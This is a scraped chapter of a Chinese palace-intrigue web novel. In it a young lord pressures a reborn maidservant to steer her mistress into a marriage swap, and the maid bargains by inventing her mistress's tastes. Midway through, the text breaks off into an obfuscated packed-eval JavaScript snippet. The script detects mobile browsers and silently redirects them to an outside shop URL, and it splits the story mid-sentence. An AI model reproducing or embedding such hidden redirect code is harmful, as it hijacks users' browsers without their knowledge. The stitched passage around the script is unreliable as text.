文趣网 > 都市小说 > 真千金的丫鬟重生了 > 49. 讲条件
    易冠云是这家的嫡长子,驱使小丫鬟去说服内宅女眷,让她们自己斗争。不过是一边占着好名声,一边又要达成目的。

    她站在原地,想知道对方如何作答。

    易冠云退开两步,背对着予英,天边一朵流云经过,正落在二人头顶,两人所站之处成了唯一的阴影地。日光烈烈,予英仍身姿恭敬,一点没动。

    予英几乎要以为,这满院的沉寂就快要绵延下去,谁知易冠云竟然开口了。

    他好像是斟酌了很久,语气为难,“合该是你说的这样,但是父亲母亲既疼爱青琼又疼爱若贞,定不愿贸然换婚的,且此事的确伤了易家的脸面。”

    下一刻他转过身来再度逼近予英,居高临下,注视着她,“但如果若贞也有意,就不一样了。父亲母亲本就愧对她,想方设法弥补,如今小儿女两情相悦。再加长辈通通气,此事自然就成了。”

    园林幕翠,日光渐渐升高,铺满了院子,照透了每一处曲廊水榭、叠石疏竹,一草一木都是精雕细琢的派头,照着规格制成,虽然写满了富贵气派,却没有能呼吸的气口,

    予英心头泛起阵阵恶心,她强撑着脸上平静的表情,“大少爷既然想好了,应当先说服大姑娘啊。可大姑娘名门淑女,知书达理,就是我们做奴婢的也知道大姑娘才匹配萧世子。如今萧世子变心,也不知大姑娘心里如何难受呢,她能答应这件事吗。”

    她立在斑驳的树影中,退后两步,后背抵上冰冷的门框,透过身上的粉绿棉布丫鬟衣服,才将这股子恶心压了一压。

    想也知道,易青琼绝不可能轻易放手,这无疑把脸面送给若贞踩。

    老爷太太是愧对若贞不错,可是她们更疼爱易青琼,也更认为只有易青琼才配得上世子夫人之位。

    更别说,易青琼背后还有老太太呢。老太太守着这门婚事多少年,就算是毁了也不愿意给若贞。

    易冠云却笑了,被小丫鬟的无知逗笑。他眼神如春水柔波,天边流云。墙角的芭蕉花开得正好,红艳艳的花瓣在日光底下近乎刺眼。

    没人有心思赏花,男人高大的声影落在地上,一寸一寸地漫了过来,几乎要把予英的半个声影吞噬。

    “男子娶妻,一是看中女子的家世,二是他中意这名女子。对萧世子来说,若贞占了两样,他为何要退而求其次呢。”

    好令人作呕。他不替自己的妹妹说话,却替外人说话。

    为防予英听不懂,他还好脾气地解释,“我也不愿看见青琼嫁给一个不爱重她的丈夫,由此拨乱反正而已。”

    予英没有再动,她望着地上那两道交叠的身影。院子再精致,也掩盖不住人心的阴私算计。血缘再亲近,也抵不过重利。

    大少爷话说得再好听,也只是粉饰罢了。

    不过大少爷会粉饰,自己也会装上一装的。

    予英在心里浅浅笑了,面上却装出惴惴不安的样子,十分无措地问易冠云,“可……可是大少爷怎么知道萧世子中意二姑娘呢,他们也没见过面哪。”

    原来丫鬟是担心萧世子的真心,易冠云又笑了,再怎么冷静机智也只是小姑娘啊,免不了着眼于情爱。

    他也是男子,对情爱二字最是明白。男人若是对哪个女人有一点怜惜,那几乎就是全部。萧世子当然也满意青琼的得体大方,目光也曾在她美艳的脸庞上流连。可是他觉得若贞可怜可爱,哪怕若贞的本性并非如此。

    就像依附在粗壮树干下生长的柔嫩白花,唯有中心那一点艳红,再无长处。除了大树俯就施恩,否则她又能往何处去呢。

    他透露给予英,“当日父亲归家洗尘宴上,萧世子隔着湖面看了一眼若贞,便愣了好一会儿神,所以才有了这一筐杨梅。”

    这个老祝妈,到底把这件事告诉了多少人啊。予英心里暗道糟糕,但也不能怪老祝妈多嘴,她也只是个奴婢,主子问话自然要答。

    予英抬眼,黑漆漆的眼珠里是对方潇洒写意的身姿,易冠云从那时起洞悉了萧世子的心意,开始推波助澜,曲蘅在澄心院有意无意的引导是他的手笔、那筐杨梅也是,府里的流言也可能是。

    这居然暗合了前世之事,她当时就疑惑为何姑娘突然要行此险招,原来除了忽视、瞧不起、冷待之外还有暗地里的引诱。

    可那时并没有萧成泰中意若贞一说,这个变数真是太致命了。

    她盯着对方,嘴里吐出一句话,让易冠云的脸色变了,“可是二姑娘不中意萧世子哪。”

    易冠云淡淡嗯了一声,丫鬟执着于姑娘是否能与丈夫两情相悦,没有看出他脸色不虞。

    予英继续说道,“二姑娘压根就没见过萧世子,那日也记不得萧世子的面容,怎么能中意他。大少爷,姑娘是看重我,可这是她的婚姻大事,你让她怎么去为一个不中意的男子跟姐姐抢呢。”

    易冠云笑容收了起来,不满她的言辞。仿佛要训诫不懂事的孩童一般,他目光微冷,予英只觉得周身寒了几分。

    他直截了当地告诉予英,“我信你有这个本事能说动二妹妹,只要她愿意,我自然会为她二人制造见面的机会。”

    少男少女,家世相当,加上有心人撮合,何愁不成。

    料想眼前这个丫鬟也不敢坏事,何况他为若贞选的实在是好儿郎,打着灯也难寻,她们有何不愿意的。

    若她再推辞……

    易冠云加了一句,“你二人主仆情深,将来自然是要一块的。但恐怕只有她嫁给萧世子,你才能如愿陪嫁过去。不然……”

    他往前迈了几步,树下那朵白花正好蹭到他的鞋尖,石青色的鞋面更衬出那一抹细细的红艳,他慢条斯理地蹲下身,长指抬起微微颤动的花瓣。

    那花太小太弱,指腹轻轻擦过,白色花瓣簌簌落下。

    戏演到这里,不能再拿乔,否则就坏了。予英赶紧见好就收,低下头去,“大少爷说的是,奴婢自当听从大少爷的。”

    易冠云终于满意,脚踏过满地的紫薇花瓣,好似跨过了什么界限一般。他偏过头,目光从她的脸上滑下去,落在她攥紧的指尖上,停了一息,仿佛重新认识了这个小丫鬟。

    予英表了态,也可不能光被人牵着鼻子走,她轻轻唤住了易冠云。

    郎君行至门前,见日光从花枝的缝隙处漏下来,落在她眉眼上的光斑就足以覆盖她大半张脸,她的脸实在是很小,连下颌也尖尖的。

    在男人的注视下,予英抿抿唇,“其实要姑娘中意萧世子也不难,若说姑娘喜欢什么样的男子,就数我最清楚了。那萧世子如此有诚意,何不投其所好呢。”

    易冠云抬了抬光洁的下巴,示意她继续

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944075|210360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说。

    予英手攥得更紧了,“其实……比起俊朗清秀的男子,姑娘她更喜欢强壮魁梧之人。”

    易冠云皱眉,若贞的喜好竟如此特别吗?还是……

    看出了易冠云眼里的怀疑,予英赶紧补上解释,“原先也不这样,哪个女孩儿家不爱俏郎君呢。只是姑娘和我上京途中,遇过匪盗流寇,好在有官兵相护才全身而退。从那之后,姑娘就更中意身形健壮之人,有那等郎君在身侧,说是更安心一些。”

    “那日我也远远望见了萧世子,他虽然俊美,但实在单薄了些。不过从现在开始练,也不晚嘛。”

    路遇山匪是真事,易冠云大可以去查。

    “原来如此”,易冠云颔首,“但大丈夫行走于世也不光是靠武德,以萧世子的为人,若贞也不必担心遇上不测。不过我还是将此事转告于他,还有吗?”

    当然还有!予英尽情瞎编,“除此之外,姑娘并不喜爱男子过于修饰自己的样貌,莫要太过张扬。”

    她越说越小声,越不敢直视易冠云,眼神落在他宽大的袖口上。

    对方沉默了三息,呼吸比方才更漫长。

    易冠云冷哼一声,“这又是为何,总不能是上京途中遇见了俏郎君行骗吧。”

    “非也非也”,予英不按常理说话,“这是姑娘的养母白夫人对她的谆谆教导,说郎君若是只想着自己的脸,就看不到妻子的美了。长此以往,郎君怎么还能对妻子好呢。”

    她倒要看看这话易冠云如何反对。

    “歪理”,易冠云淡淡说道,“萧世子身为侯府世子,穿戴或许繁杂些,也是因着礼制,并非是他故意为之。罢了,我说与他便是。还有吗?”

    予英却把头低得更下去了,只拿头顶对着易冠云。易冠云盯着她的发旋,这发旋生得很圆很整齐。

    “最后这一条,奴婢不敢说。”

    这丫鬟虽见识少些,但胆子是够大的。易冠云轻嘲,“还有你不敢说的?”

    这一条嘛,予英是有备而来,得先给自己求一道护身符。

    “若是大少爷先饶恕奴婢失言,奴婢就敢说。”

    这丫鬟,门道还挺多。自己岂会因丫鬟的言语动气,他幼承庭训,受祖父、父亲精心栽培,早就修得稳健心性。就算是在陛下跟前奏对,也行动自如。

    唯一一次冲动,便是求娶妻子……

    跟前的人实在有趣,他也难得动念。但易冠云已非少年郎,有了更看重的东西。

    他喉结滚动,“你说,我许诺不罚你。”

    谁知丫鬟竟然得寸进尺,又对他要求道,“您也不能对姑娘动气。”

    易冠云反而笑了,笑得予英少了点底气。

    她不是没同男子相处过,但这般的、带着奇怪氛围的很是少见。

    忽得天边浮现高而卷的云层,逐渐朝两人移过来,将整个小院的日光都盖住了,两人的声影消失,再没有交叠的痕迹。

    易冠云没错过丫鬟飘忽的眼神,就像是在回想什么一样。他开口,将她从遐思中拉了回来,“若贞是我的亲妹妹,她就算言语有失,我也会念在她年幼流落在外,失了教养的份上,不与她计较。”

    “好吧”,予英故意长舒一口气,为难地说道,“姑娘她想要一生一世一双人,要姑爷绝不纳妾。”